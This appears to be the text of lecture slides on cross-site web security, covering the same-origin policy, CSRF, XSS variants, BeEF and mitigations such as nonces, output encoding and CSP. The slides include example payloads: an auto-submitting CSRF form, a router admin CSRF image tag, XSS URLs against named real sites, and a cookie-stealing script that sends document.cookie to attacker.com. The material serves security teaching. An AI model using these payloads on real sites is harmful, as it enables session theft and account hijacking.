Cross-Site Security
8chan xss via html 5 storage ex http://arstechnica.com/security/2015/09/serious- imgur-bug-exploited-to-execute-worm-like-attack-on- 8chan-users/
Topics 1. Same Origin Policy 2. Credential Caching 3. Cross-Site Request Forgery 4. Cross-Site Scripting (XSS) 5. XSS Variants
Web Page Interactions Possible interactions limited by same-origin policy (a.k.a. cross-domain security policy) Links, embedded frames, data inclusion across domains still possible Client-side scripts can make requests cross-domain HTTP & cookie authentication two common modes (both are usually cached) Cached credentials associated with browser instance Future (possibly malicious) requests don t need further authentication
Same Origin Policy Modern browsers use DHTML Support style layout through CSS Behavior directives through JavaScript Access Document Object Model (DOM) allowing reading/modifying page and responding to events Origin: protocol, hostname, port, but not path Same-origin policy: scripts can only access properties (cookies, DOM objects) of documents of same origin
Same-Origin Examples Same Origin http://www.examplesite.org/here http://www.examplesite.org/there same protocol: http, host: examplesite, default port 80 All Different Origins http://www.examplesite.org/here https://www.examplesite.org/there http://www.examplesite.org:8080/thar http://www.hackerhome.org/yonder Different protocol: http vs. https, different ports: 80 vs. 8080, different hosts: examplesite vs. hackerhome
Interactions between Different Origins hackerhome.org can link to us, can t control <a href="http://www.mywwwservice.com/some_url">click here!</a> Or include a hidden embedded frame: <iframe style="display: none" src="http://www.mywwwservice.com/ some_url"></iframe> No visible cue to the user (style attribute hides it) Happens automatically, without user interaction Same-origin policy prevents JavaScript on hackerhome direct access to our DOM
Possible Interactions Occasionally, data loaded from one domain is considered to originate from different domain <script src="http://www.mywwwservice.com/some_url></script"> hackerhome can include this script loaded from our site, but it is considered to originate from hackerhome instead Included script can inspect contents of enclosing page which can define evaluation environment for script
Possible Interactions Another way attacker can initiate requests from user s browsers to our server: <form name="f" method="post" action="http://www.mywwwservice.com/action"> <input type="hidden" name="cmd" value="do_something">... </form> <script>document.f.submit();</script> Form is submitted to our server without any input from user Only has a hidden input field, nothing visible to user Form has a name, so script can access it via DOM and automatically submit it
HTTP Request Authentication HTTP is stateless, so web apps have to associate requests with users themselves HTTP authentication: username/passwd automatically supplied in HTTP header Cookie authentication: credentials requested in form, after POST app issues session token Browser returns session cookie for each request Hidden-form authentication: hidden form fields transfer session token Http & cookie authentication credentials cached
Lifetime of Credentials Temporary cookies cached until browser shut down, persistent ones cached until expiry date HTTP authentication credentials cached in memory, shared by all browser windows of a single browser instance Caching depends only on browser instance lifetime, not on whether original window is open
Credential Caching Scenario (1) Alice has browser window open, (2) creates new window (3) to visit our site, HTTP authentication credentials stored (4) She closes the window, but original one still open (5) later, she s lured to the hacker s site which causes a surreptitious request to our site utilizing the cached credentials Credentials persisted even after (4), cookies could have been timed-out; step (5) could happen days or weeks after (4)
Cross-Site Attacks Target users of application. Use application feature to reach other users of application. Clients are less well defended than servers. Obtain assets of individual users rather than assets of entire application. Most common type of attack. Cross-Site Request Forgery (CSRF) Cross-Site Scripting (XSS)
Cross-Site Request Forgery A confused deputy attack. Exploits trust that application has with authentication sessions. Attack scenario: User authenticates to web application. User browses to another site containing a malicious CSRF attack link to web app. iframe, img, link, bgsound, etc. Browser accesses web app with cached credentials, performing whatever action specified by the link.
Example: DSL Modem Attack Home network devices administered via web apps. Standard local IPs. Attacker inserts 1-pixel img tag on page. src is URL of form submission, giving remote admin. No password needed. Software owner assumed device on trusted local network. Of course, browser is on the local network too. <img src= "http://192.168.1.254/forms/remoteres_1?nss_remotepassword =blehblah&nss_enablewanadminaccessres=on&timeoutdisab le=0&enable=enable" alt="" width="1" height="1" />
Mitigating CSRF Require POST for data modifications, but Many frameworks automatically fetch both types of parameters or convert one to other. Hidden POST requests can be created with scripts. Check referer header. But users can block or forge referer header, so it cannot be relied on for everyone. Use nonces. Random token inserted as hidden parameter, and thus submitted with form. But XSS can read form, so a combined XSS + CSRF attack can bypass this defense.
Mitigating CSRF Re-authenticate for high value transactions. Use out of band authentication if possible. Expire session IDs quickly. But there will always be some time period in which a CSRF attack will work. Automate defenses with tools. CSRFGuard to insert nonces. CSRFTester to verify application.
Cross-Site Scripting (XSS) Attacker causes a legitimate web server to send user executable content (Javascript, Flash ActiveScript) of attacker s choosing. Impact of XSS Account hijacking. Browser hijacking (malware hosting.) Information leakage (stored form values, etc.) Virtual defacement.
XSS Examples MySpace worm (October 2005) When someone viewed Samy s profile: Set him as friend of viewer. Incorporated code in viewer s profile. Paypal (2006) XSS redirect used to steal money from Paypal users in a phishing scam. BBC, CBS (2006) By following XSS link from securitylab.ru, you could read an apparently valid story on the BBC or CBS site claiming that Bush appointed a 9-year old as head of the Information Security department.
XSS Key Steps 1. Attacker sends code to web application. 2. Legitimate user accesses web app. 3. Web app sends attacker code to user. 4. User s browser executes code.
XSS Example Client browser sends an error message to the web server. https://example.com/error.php?message=sorry%2c+a n +error+occurred
XSS Example The error message is reflected back from the Web server to the client in a web page.
XSS Example We can replace the error with JavaScript https://example.com/error.php?message=<script>alert( xss );</script>
Exploiting the Example 1. User logins in and is issued a cookie 2. Attacker feed the URL to user https://example.com/error.php?message=<script>var+i= new+image;+i.src= http://attacker.com/ %2bdocu ment.cookie;</script>
Why does XSS Work? Same-Origin Policy Browser only allows Javascript from site X to access cookies and other data from site X. Attacker needs to make attack come from site X. Vulnerable Server Program Any program that returns user input without filtering out dangerous code.
Reflected XSS Attack Scenario User clicks on link. Injected script returned by one-time message from vulnerable site. User browser executes injected code. Limitations Non-persistent. Only works when user clicks. Most common type of XSS (~75%).
Anatomy of an XSS Attack Web Server Attacker User 3. XSS Attack 7. Browser runs injected code. 4. User clicks on XSS link. Evil site saves ID.
XSS URL Examples http://www.microsoft.com/education/?id=mctn&target=h ttp://www.microsoft.com/education/?id=mctn&target= "><script>alert(document.cookie)</script> http://hotwired.lycos.com/webmonkey/00/18/index3a_pa ge2.html?tw=<script>alert( Test );</script> http://www.shopnbc.com/listing.asp?qu=<script>alert( document.cookie)</script>&frompage=4&page=1&ct=vvt V&mh=0&sh=0&RN=1 http://www.oracle.co.jp/mts_sem_owa/mts_sem/im_searc h_exe?search_text=_%22%3e%3cscript%3ealert%28docum ent.cookie%29%3c%2fscript%3e
Stored XSS Injected script stored in Post or comment. Review. Uploaded file. User views page with injected script. Malicious action is taken while user is logged into site where malware found. Not technically cross-site. Attack persists until injected code deleted.
DOM-based XSS Attack scenario User clicks on URL with crafted Javascript. Application s client code extracts data from URL and dynamically updates page with it. User browser executes crafted Javascript that was inserted in the page. Exploits vulnerability in client code. Server does not reflect or store evil Javascript.
Browser Exploitation Framework BeEF hooks browsers via XSS exploit Can use as stored or reflected XSS. Hooked browsers are bots controlled by BeEF. Exploitation modules run on hooked browsers to View browsing history. Identify authenticated sessions. Phishing and other social engineering attacks. Port scans of network browser is running on. Reverse proxy into network browser is running on. Use Metasploit.
BeEF Screenshot
Mitigating XSS 1. Disallow HTML input 2. Allow only safe HTML tags 3. Encode output Replace HTML special characters in output ex: replace < with < and > with > also replace (, ), #, & 4. Re-authenticate for important transactions to limit exposure to account hijacking. 5. Content Security Policy (CSP)
Content Security Policy Server provides header which tells browser to Disable inline JavaScript. Disable dynamic code evaluation. Permit JS inclusion only from a white list of sources. Prevents XSS if Application architected to not directly include any JavaScript via <script> tags or included in other tags. CSP configuration is not too permissive. W3C created working draft for CSP Level 2 in 2014.
References 1. Brian Chess and Jacob West, Secure Programming with Static Analysis, Addison-Wesley, 2007. 2. Daswani et. al., Foundations of Security, Apress, 2007. 3. Seth Fogie et. al., XSS Attacks: Cross-Site Scripting Exploits and Defense, Syngress, 2007. 4. Michael Howard, David LeBlanc, and John Viega, 19 Deadly Sins of Software Security, McGraw-Hill Osborne, 2005. 5. Nathan, http://www.neohaxor.org/2008/12/01/csrf-vulns-onlocal-network-devices/, 2008. 6. PCI Security Standards Council, PCI DSS Requirements and Security Assessment Procedures, v1.2, 2008. 7. Stuttart and Pinto, The Web Application Hacker s Handbook, 2 nd ed, Wiley, 2011. 8. Michal Zalewski, The Tangled Web: A Guide to Securing Modern Web Applications, No Starch Press, 2012.